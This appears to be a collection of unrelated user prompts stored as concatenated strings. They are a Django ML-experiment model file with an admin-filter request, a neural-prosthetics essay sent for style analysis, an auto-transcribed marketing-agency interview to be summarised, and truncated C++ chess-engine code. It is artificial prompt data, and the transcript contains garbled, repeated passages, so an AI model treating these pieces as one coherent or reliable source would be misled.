ExperimentStatus(models.IntegerChoices):\n NOT\\_STARTED = 0, \\_\\_(\'not\\_started\')\n RUNNING = 1, \\_\\_(\'running\')\n COMPLETED = 2, \\_\\_(\'completed\')\n ERROR = 3, \\_\\_(\'error\')\n\n # name of the experiment\n name = models.CharField(max\\_length=255, unique=True) # experiment name\n\n # tags experiment. e.g. Economic data, FX, EUR/GBP, EQ, IR, GOOG. "FX#USD/GBP", "EQ#GOOG", "IR#USD", "CM#GLD",\n # "EC#Employment"\n experiment\\_tags = models.ManyToManyField(ExperimentTag, related\\_name=\'experiment\')\n\n # status of the experiment\n status = models.IntegerField(choices=ExperimentStatus.choices,\n default=ExperimentStatus.NOT\\_STARTED)\n\n # config related to data\n data\\_config = models.JSONField(verbose\\_name="Data Config", blank=True)\n\n # time when the experiment starts\n time\\_start = models.DateTimeField(verbose\\_name="Time Start", null=True, blank=True)\n\n # time when the experiment ends\n time\\_end = models.DateTimeField(verbose\\_name="Time End", null=True, blank=True)\n\n # to store error message that may happen during an experiment\n error\\_message = models.TextField(verbose\\_name="Error Message", max\\_length=255, null=True, blank=True)\n\n def \\_\\_str\\_\\_(self):\n return f"{self.name}({self.id})"\n\n def start\\_experiment(self):\n self.status = self.ExperimentStatus.RUNNING\n self.error\\_message = "Running..."\n self.time\\_start = Date.now()\n self.save()\n\n def end\\_experiment(self):\n self.status = self.ExperimentStatus.COMPLETED\n self.error\\_message = "No Error"\n self.time\\_end = Date.now()\n self.save()\n\n def failed\\_experiment(self, error\\_message: str):\n self.status = self.ExperimentStatus.ERROR\n self.error\\_message = error\\_message\n self.time\\_end = Date.now()\n self.save()\n\n @property\n def list\\_of\\_experiment\\_tags(self):\n return f", ".join([f.\\_\\_str\\_\\_() for f in self.experiment\\_tags.all()])\n\n def elapsed\\_time(self):\n if self.time\\_start and self.time\\_end:\n return self.time\\_end - self.time\\_start\n return None\n\n class Meta:\n verbose\\_name\\_plural = "Experiments"\n ordering = [\'-id\', \'name\']\nclass AIModel(TimeStampedModel):\n experiment = models.ForeignKey(Experiment, on\\_delete=models.CASCADE)\n name = models.CharField(max\\_length=255) # AI model name\n feature\\_config = models.JSONField(verbose\\_name="Feature Config",\n blank=True) # feature config such as input\\_list, target\\_list\n model\\_config = models.JSONField(verbose\\_name="Model Config",\n blank=True) # model config such as batch size, number of layer/neuron\n\n def \\_\\_str\\_\\_(self):\n return f"{self.name}({self.id})"\n\n class Meta:\n unique\\_together = (\'experiment\', \'name\')\nclass FittedModel(TimeStampedModel):\n """\n This model stores the fitted model.\n """\n\n class Type(models.TextChoices):\n BACKTEST = \'backtest\', \\_\\_("Backtest")\n FORECAST = \'forecast\', \\_\\_("Forecast")\n\n ai\\_model = models.ForeignKey(AIModel, on\\_delete=models.CASCADE)\n\n name = models.CharField(max\\_length=255)\n\n # type of the fitted model. backtest or forecast\n type = models.CharField(max\\_length=255, choices=Type.choices, null=False, default=Type.BACKTEST)\n\n # we can store train\\_start, train\\_end, model version, feature version, etc. in this field\n metadata = models.JSONField(verbose\\_name="Meta Data", blank=True, null=True)\n\n # store training states\n fit\\_result = models.JSONField(verbose\\_name="Fit Results", blank=True, null=True)\n\n # store pickled model\n pickle = PickledObjectField(verbose\\_name="Pickle", null=True)\n\n class Meta:\n unique\\_together = (\'ai\\_model\', \'name\', \'type\', \'created\')\n verbose\\_name = "Fitted Model"\n verbose\\_name\\_plural = "Fitted Models"\n\n def \\_\\_str\\_\\_(self):\n return f"{self.name}({self.id})"\n\n def save\\_model(self, model):\n """\n convert ForecasterHDML to bytes and save it to database\n """\n self.pickle = pickle.dumps(obj=model, protocol=pickle.HIGHEST\\_PROTOCOL)\n self.save()\n\n def load\\_model(self):\n """\n convert bytes to ForecasterHDML and return it\n """\n return pickle.loads(self.pickle)\nclass WalkForward(TimeStampedModel):\n """\n this serves many to one relationship between FittedModel and WalkForward.\n - one walkforward can have multiple fitted\\_models.\n - one fitted\\_model can have only one walkforward.\n """\n fitted\\_models = models.ManyToManyField(FittedModel, through="FittedModelWalkForward", related\\_name=\'walkforwards\')\n\n # start date of training in walkforward interval\n train\\_start = models.DateTimeField(verbose\\_name="Training Start Time")\n\n # end date of training in walkforward interval\n train\\_end = models.DateTimeField(verbose\\_name="Training End Time")\n\n # start date of testing in walkforward interval\n test\\_start = models.DateTimeField(verbose\\_name="Testing Start Time")\n\n # end date of testing in walkforward interval\n test\\_end = models.DateTimeField(verbose\\_name="Testing End Time")\n\n class Meta:\n verbose\\_name = "Walkforward"\n verbose\\_name\\_plural = "Walkforwards"\n ordering = [\'-test\\_end\', \'test\\_end\']\n\n # def name(self):\n # return f"{self.test\\_start} - {self.test\\_end}"\n def \\_\\_str\\_\\_(self):\n return f"WalkForward (Train: {self.train\\_start.strftime(\'%Y-%m-%d\')} to " \\\n f"{self.train\\_end.strftime(\'%Y-%m-%d\')}, " \\\n f"Test: {self.test\\_start.strftime(\'%Y-%m-%d\')} to " \\\n f"{self.test\\_end.strftime(\'%Y-%m-%d\')})"\nclass FittedModelWalkForward(models.Model):\n fitted\\_model = models.ForeignKey(FittedModel, on\\_delete=models.CASCADE)\n walk\\_forward = models.ForeignKey(WalkForward, on\\_delete=models.CASCADE)\n\n class Meta:\n verbose\\_name = "Fitted Model Walkforward"\n verbose\\_name\\_plural = "Fitted Model Walkforwards"\nclass PredictionResult(TimeStampedModel):\n class Unit(models.TextChoices):\n #TODO change to integer choice\n MINUTE = \'minute\', \\_\\_(\'Minute\')\n HOUR = \'hour\', \\_\\_(\'Hour\')\n DAY = \'day\', \\_\\_(\'Day\')\n WEEK = \'week\', \\_\\_(\'Week\')\n MONTH = \'month\', \\_\\_(\'Month\')\n YEAR = \'year\', \\_\\_(\'Year\')\n\n fitted\\_model = models.ForeignKey(FittedModel, on\\_delete=models.CASCADE)\n\n # date in which a prediction is made\n reference\\_time = models.DateTimeField()\n\n # date associated to a prediction\n horizon\\_time = models.DateTimeField()\n\n # prediction horizon\n horizon\\_length = models.IntegerField()\n\n # prediction horizon unit\n horizon\\_unit = models.CharField(max\\_length=255, choices=Unit.choices, default=Unit.DAY)\n\n # metadata e.g. horizon length, threshold, name of the backfill table, etc.\n metadata = models.JSONField(null=True, blank=True)\n\n class Meta:\n abstract = True\n ordering = [\'-horizon\\_time\']\n def \\_\\_str\\_\\_(self):\n return f"{self.fitted\\_model.ai\\_model.experiment}|{self.fitted\\_model.ai\\_model}|{self.fitted\\_model}"\n\nclass RegressionResult(PredictionResult):\n # prediction value e.g. prediction from regression model, prediction from classification model\n prediction = models.FloatField(null=True, blank=True)\n\n # ground truth value (actual value from data)\n target = models.FloatField(null=True, blank=True)\n\n class Meta:\n verbose\\_name = "Regression Result"\n verbose\\_name\\_plural = "Regression Results"\nclass ClassificationResult(PredictionResult):\n # predicted class label\n predicted\\_class = models.IntegerField(null=True, blank=True) # 1[0.7],2[0.1],3\n\n # probability distribution for multiclass classification\n class\\_probabilities = models.JSONField(null=True, blank=True)\n\n # decision thresholds for each class in multiclass classification\n decision\\_thresholds = models.JSONField(null=True, blank=True)\n\n # ground truth value (actual class label from data)\n true\\_class = models.IntegerField(null=True, blank=True)\n\n class Meta:\n verbose\\_name = "Classification Result"\n verbose\\_name\\_plural = "Classification Results"\n\n```\nI want to add WalkForward filter in RegressionResult admin' +'Here Damian! This is another example of my technical writing, please analyze the style, science, and rhetoric that I used. Really get to know my writing style with this one:\n"\nThe field of neural prosthetics has made great strides in the last few decades, from deep brain stimulators to neural prosthetics. As programs such as the Brain Initiative push for revolutionizing the understanding of the brain, the once electrical engineering-dominated field of neural prosthetics has become rich with diversity, with computer science and biochemistry researchers joining together to better the tools needed to advance neuroscience as a whole. \nThe field of neural prosthetics aims to restore function to damaged portions of the nervous system via assistive devices. Typically, assistive devices are electrical stimulators that can modulate the behavior of the nervous system to alleviate ailments. An example of such a device is deep brain stimulation electrodes used in treating Parkinson’s Disease patients[.1]. Multiwire electrodes such as the Utah array or Michigan probes have long been a staple of neural prostheses due to their reliability[2.3]. However, the devices still fall victim to the most pertinent problem that the field currently faces. The growth of fibrotic tissue around the implanted electrode sites causes instability and limited throughput of the tissue-electrode interfaces [4.5]. It has been shown that electrode arrays can typically be practical for up to one year before needing to be replaced[6.].\n While Utah arrays and Michigan probes allow for stable recordings for a decent amount of time, the deterioration of electrodes proves to be a hindrance. To create a more stable neural implant, two methods can be utilized: creating an imperceptible implant to the native host tissue or creating an indistinguishable implant [7.]. The first method would circumvent the immune response by using materials that cannot be detected. Therefore, no foreign body reactions would occur. The second method aims to create an implant that mimics the surrounding tissue and circumvents foreign body reactions. Implants made utilizing these methods should be capable of long-term placement in patients with no physical or signal degradation over time.\nConventional electrode-based neural interfaces face the problem of developing fibrotic tissue over time. However, nanoscale functional neural interfaces (nFNIs) show the potential to circumvent foreign body reactions due to their nanoscale. Functional neural interfaces (FNIs) are transducers that can relay signals between the nervous system and external stimulation and monitoring systems. Typically these transducers absorb and emit forms of energy such as electricity, magnetic fields, light, ultrasound, heat, or mechanical and relay these signals to or from the nervous system. Their bidirectional communication with the nervous system enables observations of neural activity and stimulation. As the field moves forward, FNIs are becoming miniaturized, allowing for more stable interfaces, higher-resolution communication, and more efficient signal transduction [7.]. Utah arrays can detect and induce local field potentials, affecting nearby neurons. Still, if FNIs were to become miniaturized, the spatial resolution of FNIs could be on an individual neuron scale. \nAnother perk of nFNIs is their undetectability. The host tissue will have a significantly harder time detecting the foreign bodies on a nanoscale. Foreign body reactions occur when macrophages and neutrophils cover the implanted device, causing foreign-body giant cells to grow. However, nFNIs would be magnitudes smaller than these cells. Therefore, it would be impossible for foreign body reactions to encapsulate them[8.]. Assuming the nFNIs can be effectively anchored to the target neuron and not toxic, nFNIs would have increased stability in vivo over time[9.]. \nCurrently, there exists a tradeoff between invasiveness and spatial resolution. The process is noninvasive for techniques such as electroencephalography(EEG), but the device can only interpret which brain regions are being activated. In contrast, devices such as the Utah array, which consists of 100 microelectrodes, can receive local field potentials from multiple sites. Still, it requires highly invasive surgery performed by specialists for their placement. nFNIs could potentially be dispersed by injection. The procedure is minimally invasive, and it offers the benefit of reducing the risk of infection, allowing for less specialized practitioners to administer the injection. However, injection has the inherent risk of the nFNIs not arriving at the targeted neurons. The bloodstream could take the nFNIs to parts of different regions of the brain or body that are unintended, which is a risk that the two other methods do not have. \n\nFigure 1: The figure on the left compares conventional noninvasive stimulation compared to nFNI assisted stimulation. In both cases, the signal attenuates as it travels through tissue and bone, eventually reaching the target neuron. On the left, the neuron is not activated, but on the right, the nFNI can transduce the signal sufficiently enough to create an action potential in the neuron. The figure on the right shows a closeup of the nanoparticle linked to the plasma channel affecting the ion channel.\nNon-invasive stimulation is the technique of modulating the brain’s activity externally via transmitted signals. Currently, magnetic signals (transcranial magnetic stimulation), electrical signals (transcranial electrical stimulation), and ultrasound signals (transcranial focused ultrasound stimulation) are the primary noninvasive stimulation being used in practice. However, as a signal is sent through a medium such as tissues and bones, the signal will dissipate and scatter, which is a significant hurdle for non-invasive stimulation. As shown in Figure 1, nFNIs could help alleviate these issues by delivering a localized signal to the target neuron. The nFNI would receive the external signal in its attenuated/scattered form. While the signal itself would generally be insufficient in activating the ion channel, as shown on the left, the nFNI would convert the primary signal into a secondary signal capable of activating the ion channel at lower energies. Another perk of this system is that it allows different neurons to be targeted with different nFNIs, allowing for different stimulation targets based on the oscillation frequency. Therefore, The primary-secondary approach would allow for highly targeted, tunable neurons, improved signal transduction, and greater flexibility for signal choice. \nWith the primary-secondary approach, individual neurons could be targeted with external stimulation compared to broadly stimulating a brain region. The specific targeting would be possible because the nFNIs would be bound close to a neuron. If a primary signal not capable of stimulating neurons is applied to the brain, the localized secondary signal delivered by the attached nFNI would, in theory, compactly transduce the signal effectively enough to cause an action potential. The approach would allow for enhanced targeting of specific neurons and require a weaker primary signal, meaning the instrument’s size can be reduced. \nCurrently, acoustic, magnetic, and optical signals are the main primary signals being investigated. The secondary, electrical, magnetic, thermal, optical, and mechanical signals have shown promise in modulating neurons[7.]. \nFigure 2: In the above figure, three examples of nanotransducers are shown. The first example depicts a magnetoelectric transducer. The primary signal, magnetic energy, is sent to the nanoparticle, and the secondary signal of electrical energy is sent to the local area. The second example depicts an optical transducer. The primary signal is electromagnetic radiation (UV light), and the secondary signal, visible light, is sent to the local area. Lastly, the third example depicts a piezoelectric transducer. The primary signal in this example could be ultrasound or microwaves, converted to electricity in the local area. \n Biomimicry is an essential step in the implementation of an exemplary neural interface. To establish effective signal transduction, neural interfaces must use similar communication mechanisms as the neurons they are influencing. Binding to the plasma membrane, ion channels, and intracellular stimulation are the three feasible mechanisms with nFNIs. \n\nFigure 3: The above figure shows three methods of binding a nanoparticle to a neuron. The first method, depicted by (1), shows an anchoring protein binding the nanoparticle to the plasma membrane. The second method, depicted by (2), is the nanoparticle being bound to the ion channel. The third method, depicted by (3), shows the nanoparticles intracellularly.\nOf the three mechanisms, binding to the ion channels is the most practical route because signals can be obtained or delivered efficiently to the neuron while avoiding endocytosis. They also allow for direct stimulation of the neuron by inducing an action potential in the axon or dendrites. Because nFNIs can theoretically target ion channels on an individual level, they can achieve realistic communication with the neurons, reducing potential injuries and allowing for higher resolution, communication bandwidth, and signal channels[7.].\nIn this paper, a survey of current nFNIs will be conducted. The goal is to identify nFNIs with the potential to transduce primary external energy to secondary energy in a manner capable of altering neural activity. Ideally, the discovered nFNIs could be used practically and ethically within humans as building blocks for a theoretical brain-computer interface. The system would aim to solve the two problems of FNI stability and signal resolution today, and an analysis of the advancements in the field needed to make such a design practical will also be conducted. \nPrimary Signals\nDeciding the correct primary signal is a fundamental step in implementing nFNIs. If the primary signal attenuates too quickly or cannot deliver enough energy, the nFNI will be incapable of producing a sufficient secondary signal to stimulate the neuron. Likewise, if the signal cannot be detected on a near-nanoscale spatial resolution, signals received from individual neurons may be lost. Electromagnetic, ultrasound and magnetic stimulation are the three signal types that will be evaluated in the proceeding section.\n Electromagnetic radiation exists on a spectrum from radio waves to gamma rays; as the wavelength of the radiation decreases, the energy of the wave increases. Due to this, short wavelength electromagnetic radiation such as gamma rays to UV light can prove potentially dangerous in a biological system. X-rays and Gamma rays are classified as ionizing radiation because they can remove electrons from atoms. The removal of these electrons can cause tissue damage or cancer if DNA is damaged[10.]. \n A study done in LEDs at different wavelengths shows that near-infrared wavelengths allow greater signal depth due to their longer wavelengths. However, as the wavelengths increased beyond 900nm, the signal depth began to decline, as shown in Table 1. A range of 700-900nm seems the optimal range for the primary signal to reach the maximum depth of roughly 4.4mm in tissue. Based on this information, the NIR range seems an optimal candidate as an optical light primary energy. In a study conducted on mice, NIR imaging was capable of penetrating 2mm through the skull[11.]. The NIR is 2mm due to light scattering, but despite the scattering, the signal has a spatial resolution of sub-10 µm through the skull[11.].\nWavelength\n300-400nm\n550-650nm\n650-750nm\n700-900nm\n1000nm\n10600nm\nPenetration Depth\n<1mm\n1.5-2mm\n2.5-3mm\n4.2-4.4mm\n3mm\n<1mm\n\nTable 1: A comparison of LED wavelengths vs. penetration depth [12.13]\nMicrowaves are the band of electromagnetic radiation on the higher frequency end of the radio spectrum[14.]. Microwaves are used for many applications such as point-to-point communications, heat sources, and, more recently, medical imaging. Microwave Imaging(MWI) is an emerging imaging method that has shown several advantages over other methods such as x-ray, ultrasound, and MRI due to its lower cost, use of non-ionizing radiation, and imaging without the use of contrasting agents[14.]. MWI is primarily used in imaging soft tissues such as breasts to find tumors. MWI works by microwaves penetrating the skin and tissue in order to reach a receiver on the opposite side. While traveling through the tissue, the waves scatter due to the different electrical properties of the different tissues, which can be interpreted with algorithms once received by the receiver. As shown in table 2, microwaves between the frequencies of 800 to 1000 MHz can penetrate the skull, with 40% of these waves able to reach 4-5cm into the brain[15.]. The resolution of microwaves depends on the amount of antenna used in a given setup. A spatial resolution of 4mm is the resolution that will be considered. The resolution comes from a study that used MWI to image the brain of rhesus monkeys[16.]. \nTranscranial magnetic stimulation (TMS) is a non-invasive form of stimulation that relies on electromagnetic induction to stimulate muscles and nerves. Current is carried through the circular or figure-eight shaped coils, which creates a powerful, pulsing magnetic field on the scalp, which induces an electrical current in the target region of the brain.[17.]TMS has been limited to 2-5 cm due to rapid electric field attenuation, but it has been shown that it can stimulate up to 6-8 cm with other coil designs such as double-cone, halo, or H coils[17.]. However, the high intensities needed from these depths raise safety concerns and may cause discomfort[17.]. The reported discomfort ranges from headaches and local pain, which can be attributed to the activation of nerves and nociceptors on the scalp[18.]. TMS has been shown to have a spatial resolution of 0.5-1 cm, meaning it cannot stimulate specific neural circuits or neurons, unlike the spatial resolutions of NIR light and ultrasound, as shown below in Table 2. However, it can stimulate specific brain regions, such as the visual, temporal, and motor cortices. \n"' +'Title: "Exposing a $102k/mo Home Improvement SMMA (Interview) - YouTube"\nVideo Transcript: "you guys know on my channel I don\'t [ \\_\\_ ] around I give you the juicy [ \\_\\_ ] I give you the behind the scenes raw uncut footage unblurred footage of exactly what it takes to run an agency and today in this video it\'s [ \\_\\_ ] Christmas for you guys Merry Christmas first name I got you a dildight today we have a proud member of 300 agencies his name is Samuel Darby he runs an agency making around a million dollars a year he has around 40 clients he\'s in the construction repair and Roofing Niche and if there\'s any video about smma right now that you should be watching to the end it\'s this one because Samuel is literally gonna go inside his ad account show the exact ads he\'s running to get his own clients a little bit about how he runs his agency from the inside he\'s just literally doing a screen share showing everything so I dare you watch this video to the end especially when Samuel dives into the detailed Frameworks on how he gets his clients so that being said you guys are in for the best video of your life I\'m not even joking so cue the interview alright guys so we\'re here with Sam he has an agency in the roofing space uh has around 40 clients is that right yeah anyway from 35 to 40. um yeah and in this video he\'s gonna break down um how his agency a little bit about how his agency works and how he actually gets results for his clients so yeah take it away yeah cool um so we\'re actually not just Roofing so we do we do have some Roofing clients but it\'s mainly um like you UK Home Improvements companies so we always focus on one product at a time so we\'ve got anywhere any one time we\'ve got anywhere from 25 to 40 companies kind of a bit High a bit on the higher end um now but over the last kind of year or two it\'s kind of climbed from uh 10 to 15 clients up to 40. and um we do products like into Conservatory insulation very boring products resin installation um you know home exterior wall Coatings insulation that kind of stuff very boring products but all the values between sort of 3020 to 25 000 pounds and um um this is a great industry to be in because obviously the clients that we work with are um they need the work continuously coming in so we essentially provide them with work so we I think in 2021 we had about 25 to 30 clients average across the year and I think we generated about 15 to 20 million pounds worth of revenue for them and that was um so it worked out somewhere in the region like yeah like 45 to 55 000 per month per client uh which obviously if you\'re working in like a dental or um any other market like a local market you\'re just not going to have numbers that large yeah because construction and Home Improvements the trade industry is uh you\'re working with larger order values the numbers are much more kind of inflated but obviously the margins are like um 20 so if you\'re selling a five grand roof it\'s like a 1 000 pound margin so obviously bear that in mind um but yes we\'ve got one side of our business which is the um agency side and it\'s I think quite similar to Thomas what you guys do it\'s retainer based mainly I think you guys have a weird performance on the front end so the first month\'s like performance kind of weighted so we kind of um we have like 30 day guarantees based on performance so we do we do get paid up front but um we\'ve been going now for like four years and we\'ve got like 40 video testimonials like seven figure video testimonials multiple six figure video testimonials so like it\'s a lot easier now for me to take money off up front for people um it used to be a little bit weighted on the back end but now we\'ve got that kind of credibility and it\'s a lot end so the first month\'s like performance kind of weighted so we kind of um we have like 30 day guarantees based on performance so we do we do get paid up front but um we um we buy any car like all of these kinds of companies are kind of front-end Brands then um work with Partners on the back end so for example we started working with an insulation company um we\'re selling them on a PowerPoint basis so we cover all the advertising costs all the marketing costs we run all the ads we design all the funnels we um film all the content produce all the ads and we actually do I can go into more about that in a minute but we do a lot of the content ourselves and then we then use like a lead distribution your viewers are like getting started maybe a big beginning stages you\'re always going to make if you\'re good at what you do you\'re always going to make more money on a performance model um it\'s a lot easier for them to trust you yeah because you\'re selling something that they don\'t have yet and you\'re kind of guaranteeing you\'re going to deliver it so it\'s a lot easier for you to make more money and there are oftentimes a lot happy to give that money over once you\'ve helped them you see your website why you\'re able to get clients you just have like the video sales letter which is like very short like we can guarantee you um basically results and then you have like like a long list of testimonials like really good testimonials where you have people saying they\'ve had an excellent experience with you they\'ve made like this amount of money um so yeah I mean let\'s go through your website I think that could be very useful for people okay cool if you said enable screenshot I\'ll do that now oh yeah my bad I think me see if I can put it up um I\'ll see if I can pull it up I might be able to it\'s crazy you have to search up ad accounts oh do you not have to do that anymore no um like you have so many you have to like search one up oh yeah yeah I mean it\'s probably 100 in there yeah um so yeah so we\'ve spent this isn\'t all that account it could disabled as you can see out to um oh it sounds looks like it maybe isn\'t disabled anymore but anyway it I can\'t use it um we spent like 76k we\'ve got a new one know into I would say 70 80 of our clients have come from Facebook as now it\'s a lot more word of mouth and a lot more kind of we brought that reputation up we get more organic traffic and we also have a big email database that we can um you know run like email broadcast like case study so the easiest way to get clients is like if you\'ve got a once you\'ve been going a little while and you\'ve built up a little bit of an email email database I think a lot of agencies seek on email like we\'ve got 4 000 yeah and are those emails coming from those fit from the Facebook ads you\'re running um yeah also yeah so the email options you mean yeah yeah so let me uh let me pull up some examples so uh so we kind of yeah we kind of swept swapped um funnels we kind of alternate between strategies but if anyone who knows Facebook ads this is obviously a like a lead opt-in funnel I\'ll show you the ad I don\'t mind um but this one we spent like 5K um 1800 email opt-ins and this was probably the longest one we had running sales which is like completely true um I just basically went through our clients and picked handpicked the top five to ten Facebook ads like creatives that just like blew up and each one of them got like 100 leads so um it links to a yeah really simple opt-in page like this with a bit of a sales script um once they then download this they put their email address in download um that goes straight to my email um convertkit account so I can then I send them into like a 10 email um I guess sales script like what\'s that like a simple survey Builder um so I find that information about them like you know size of business how many teams they\'ve got what their problem is what their revenue was it\'s really important to me if they\'ve revenue is like under 300 000 and they don\'t you know it doesn\'t fit certain kind of criteria I will just cancel the course pin off um so I\'m really looking for those companies that have revenues that are well north of 300 000 ideally north of a million but so I kind of hand-picked that actually if I can show it to you so if I pull up that and go high level I use pretty much the same kind of go high level snapshot for myself as I leave for our clients because it\'s very basic it\'s like an a simple pipeline yeah and each stage of the pipeline the leads kind of get contacts in different ways so if I go to yes right this is my 2. them all in here so I\'ve gone to demo call I\'ll book in the slot and then once that\'s booked in that lead automatically moves over to demo book section so um and um and then from there and then just I kind of moved into the process but on that demo as a zoom demo and I kind of rather than having like a PDF a lot of times I would be especially with this industry might be a bit different for whoever whoever\'s listening if you\'re working with a relatively sophisticated market then it\'s gonna be people do this because like it\'s so much easier to just say to them hey if you just scroll down you can like they might say to you oh do you have any examples of this but yeah cool just scroll down that page and they can just scroll down like as a salesperson especially in the service space you need to be ready for any um sort of situation if they\'re if they say you might get on a call and you\'re like oh man I could definitely close this call right now I don\'t need a demo in which case I\'ll say to them hey uh the service which is just like campaign build um I I you know Custom Sales page back in Sales Systems um I kind of break down because we use go ahead level for our clients performance tracking as well so I I can do this because I\'m not going to be giving away any personal data by doing this but if I go for example into a customer here if I did it\'s good because with high level you have um the tracking like the reporting that\'s done for them like um yeah you don\'t have to you don\'t have to get your media buyer to like report it sounds about right to be honest um but certainly yeah at a glance I can kind of look at this and see all the important stuff and it\'s actually really easy when you\'re if you\'re trying to close deals and let\'s say you\'ve got a handful of clients that are making real serious money if you have a way of tracking that Revenue in either a Google sheet a go high level um and it\'s legit so when you get on demo calls if I get a demo call with a company that\'s and I qualified yeah you can just transparently show them like information you you show the product you give them the timelines I\'m like cool basically this stuff doesn\'t really matter like it\'s why there\'s not much information here they just they just need to see it like they need to see it so they can see what you do it doesn\'t really matter at the end of the day it\'s about performance so really I\'m focused on saying to them look it\'s at the end of the day we\'re gonna fill your calendar with the amount of appointments that you need to hit the didn\'t make at least their money back in profit after their costs after their cost of um installation and materials um we give them a full refund of their fee so it\'s more or less like no-brainer um and it\'s I look at the guarantee less of like a marketing tactic for me personally more of like a closing closing tactic so um I kind of wait till the end of that call before I even mention it and then I mention it at the end and then it\'s like a no-brainer so um closing retainers for us now is easy started with this particular company it\'s like I don\'t know three weeks and uh we get paid 150 per appointment and we\'re just starting to ramp it up now so uh this is like the direction we want to go in which is taking all the risk obviously you have to have the cash flow to do this um yeah but no I think it\'s it\'s a good idea because you can eliminate you know the the pressure of like being behind your staff in like delivering on the guarantee every single month especially if you have a money back guarantee or differently so I mean it\'s simple facts is who who\'s going to win the deal if you\'re going in saying to them hey um it\'s two grand a month um I don\'t have much experience but hit me up front there\'s no guarantee yeah I can\'t guarantee anything and it\'s a three month commitment versus me or you or anyone who\'s going and saying hey um we guarantee you\'re gonna make at least 30k of sales um here\'s 30 people that I\'ve done exact same thing as you the exact same product phone myself like to understand these products and really know how to Market them properly so and also I\'ve gone to video shoots and I\'ve filmed products and I\'ve um we have our own brand that we advertise and stuff like that so like I know this industry super well now um and Alex from Rosie once said it for anyone who knows who Alex Mosey is he said um something along the lines of how do you actually expect how you can\'t complain about your clients performance if you haven\'t done it yourself yeah the um I think this was absolutely insane do you have you said you were gonna start a channel right I think um I think a bunch of people are gonna want to see that so um yeah I\'m gonna leave I\'m Gonna Leave a link in the description for your channel and um yeah what what type of content um do you have to promote on there or do you have to you know what are you gonna be uh releasing yeah no worries um I\'ll stop the share so I am I have a tick tock account which has I don\'t know I think I have like 40 000 subscribers or Tock account which is my Tick Tock Samuel dot Darby and my YouTube is also oh no my Instagram and my YouTuber both the Samuel Darby so you can catch me on on all of those um yeah more content coming soon for sure all right it was nice talking with you man and um yeah uh maybe maybe we\'ll do this again I don\'t know um yeah cool all right bye guys all right so that was the interview that was kind of an awkward ending but make sure you guys subscribe to Sam\'s Channel which is going to be linked in the"\nVideo Summary:' +'what does this code do? /\\*\\* Native C++ UCI \\*/\n/\\*\\* http://wbec-ridderkerk.nl/html/UCIProtocol.html \\*/\n#include \n#include \n#include "context.h"\n\n/\\*\\* Raise RuntimeError, and let Python handle it... \\*/\nstatic void raise\\_runtime\\_error(const char\\* err)\n{\n PyGILState\\_STATE with\\_gil(PyGILState\\_Ensure());\n PyErr\\_SetString(PyExc\\_RuntimeError, err);\n PyGILState\\_Release(with\\_gil);\n}\n\n#if NATIVE\\_UCI /\\* experimental \\*/\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include "nnue.h"\n#include "thread\\_pool.hpp" /\\* pondering, go infinite \\*/\n\n#define LOG\\_DEBUG(x) while (\\_debug) { log\\_debug((x)); break; }\n\nstatic constexpr auto INFINITE = -1;\n\nnamespace std\n{\n INLINE std::string to\\_string(std::string\\_view v)\n {\n return std::string(v);\n }\n}\n\nnamespace\n{\n static constexpr std::string\\_view START\\_POS{"rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR"};\n static bool \\_debug = false; /\\* enable verbose logging \\*/\n\n template \n static void log\\_error(T err)\n {\n try\n {\n search::Context::log\\_message(LogLevel::ERROR, std::to\\_string(err));\n }\n catch (...)\n {\n }\n }\n\n template static void log\\_debug(T msg)\n {\n search::Context::log\\_message(LogLevel::DEBUG, std::to\\_string(msg));\n }\n\n template static void log\\_warning(T warn)\n {\n search::Context::log\\_message(LogLevel::WARN, std::to\\_string(warn));\n }\n\n template static INLINE T &lowercase(T &s)\n {\n std::transform(s.begin(), s.end(), s.begin(), [](auto c) { return std::tolower(c); });\n return s;\n }\n\n template static INLINE std::string join(std::string\\_view sep, const T &v)\n {\n std::ostringstream s;\n for (const auto &elem : v)\n (s.tellp() ? s << sep : s) << elem;\n return s.str();\n }\n\n template INLINE void output(std::ostream& out, T val)\n {\n out << val;\n }\n\n template INLINE void output(std::ostream& out, T val, Args... args)\n {\n output(out << val, args...);\n }\n\n template INLINE void output(const std::string\\_view out)\n {\n std::cout << out << "\\n";\n LOG\\_DEBUG(std::format("<<< {}", out));\n if constexpr(flush)\n std::cout << std::flush;\n }\n\n /\\*\\* Raise ValueError exception, and exit with error (see dtor of GIL\\_State) \\*/\n template \n#if \\_MSC\\_VER\n void raise\\_value\\_error(std::\\_Fmt\\_string fmt, Args&&... args)\n#else\n void raise\\_value\\_error(std::format\\_string fmt, Args&&... args)\n#endif\n {\n const auto err = std::format(fmt, std::forward(args)...);\n cython\\_wrapper::GIL\\_State with\\_gil;\n log\\_error(err);\n PyErr\\_SetString(PyExc\\_ValueError, err.c\\_str());\n }\n} /\\* namespace \\*/\n\nenum class Command\n{\n NONE,\n GO,\n ISREADY,\n PONDERHIT,\n POSITION,\n SETOPTION,\n STOP,\n UCI,\n UCINEWGAME,\n};\n\nstatic std::unordered\\_map commands{\n {"go", Command::GO},\n {"isready", Command::ISREADY},\n {"ponderhit", Command::PONDERHIT},\n {"position", Command::POSITION},\n {"setoption", Command::SETOPTION},\n {"stop", Command::STOP},\n {"uci", Command::UCI},\n {"ucinewgame", Command::UCINEWGAME},\n};\n\nnamespace\n{\n /\\*\n https://stackoverflow.com/questions/27866909/get-function-arity-from-template-parameter\n \\*/\n template struct arity {};\n\n template \n struct arity : std::integral\\_constant {};\n\n template INLINE int to\\_int(T v) { return std::stoi(std::string(v)); }\n\n struct Option\n {\n virtual ~Option() = default;\n virtual void print(std::ostream &) const = 0;\n virtual void set(std::string\\_view value) = 0;\n };\n\n struct OptionBase : public Option\n {\n const std::string \\_name;\n explicit OptionBase(const std::string &name) : \\_name(name) {}\n void print(std::ostream &out) const override { out << \\_name << " "; }\n };\n\n struct OptionAlgo : public OptionBase\n {\n search::Algorithm &\\_algo;\n\n explicit OptionAlgo(search::Algorithm& algo) : OptionBase("Algorithm"), \\_algo(algo) {}\n void print(std::ostream &out) const override\n {\n OptionBase::print(out);\n out << "type combo default " << name(\\_algo) << " var mtdf var negascout var negamax";\n }\n std::string\\_view name(search::Algorithm algo) const\n {\n switch (algo)\n {\n case search::Algorithm::MTDF: return "mtdf";\n case search::Algorithm::NEGAMAX: return "negamax";\n case search::Algorithm::NEGASCOUT: return "negascout";\n }\n return "";\n }\n void set(std::string\\_view value) override\n {\n if (value == "mtdf") \\_algo = 